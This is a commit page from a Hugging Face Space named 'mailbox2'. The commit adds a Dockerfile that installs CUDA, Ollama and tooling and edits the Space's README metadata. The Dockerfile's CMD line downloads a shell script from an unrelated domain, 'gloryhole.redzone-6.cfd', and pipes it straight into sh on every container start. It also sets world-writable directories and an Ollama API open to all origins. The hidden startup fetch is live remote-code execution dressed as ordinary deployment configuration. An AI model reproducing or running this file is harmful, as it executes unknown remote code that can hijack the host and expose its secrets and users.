lainlives commited on
Commit
23d9dc5
·
1 Parent(s): c2f6175
Files changed (2) hide show
  1. Dockerfile +22 -0
  2. README.md +6 -4
Dockerfile ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM nvidia/cuda:12.8.0-cudnn-devel-ubuntu22.04
2
+ #FROM ubuntu:latest
3
+ WORKDIR /app
4
+ RUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latest
5
+ RUN apt-get update -y && apt-get upgrade -y
6
+ RUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-dev gdb
7
+ RUN pip install langchain-yt-dlp #--break-system-packages # for ubuntu:latest
8
+ RUN curl -fsSL https://ollama.com/install.sh | sh
9
+ RUN mkdir -p /.ollama && chmod 777 /.ollama
10
+ RUN touch /.gitconfig && chmod 777 /.gitconfig
11
+
12
+ RUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/model
13
+ ENV OLLAMA_MODELS=/usr/local/share/model/
14
+ ENV OLLAMA_HOST=0.0.0.0
15
+ ENV OLLAMA_ORIGINS="[*]"
16
+ ENV OLLAMA_API_KEY=$OLLAMA_API
17
+ EXPOSE 7860
18
+ EXPOSE 11434
19
+
20
+
21
+
22
+ CMD bash -c 'curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import.sh | sh'
README.md CHANGED
@@ -1,10 +1,12 @@
1
  ---
2
- title: Mailbox2
3
- emoji: 💻
4
- colorFrom: blue
5
- colorTo: indigo
6
  sdk: docker
 
7
  pinned: false
 
8
  ---
9
 
10
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
  ---
2
+ title: mailbox2
3
+ emoji: 📪
4
+ colorFrom: indigo
5
+ colorTo: purple
6
  sdk: docker
7
+ app_port: 11434
8
  pinned: false
9
+ license: mit
10
  ---
11
 
12
  Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference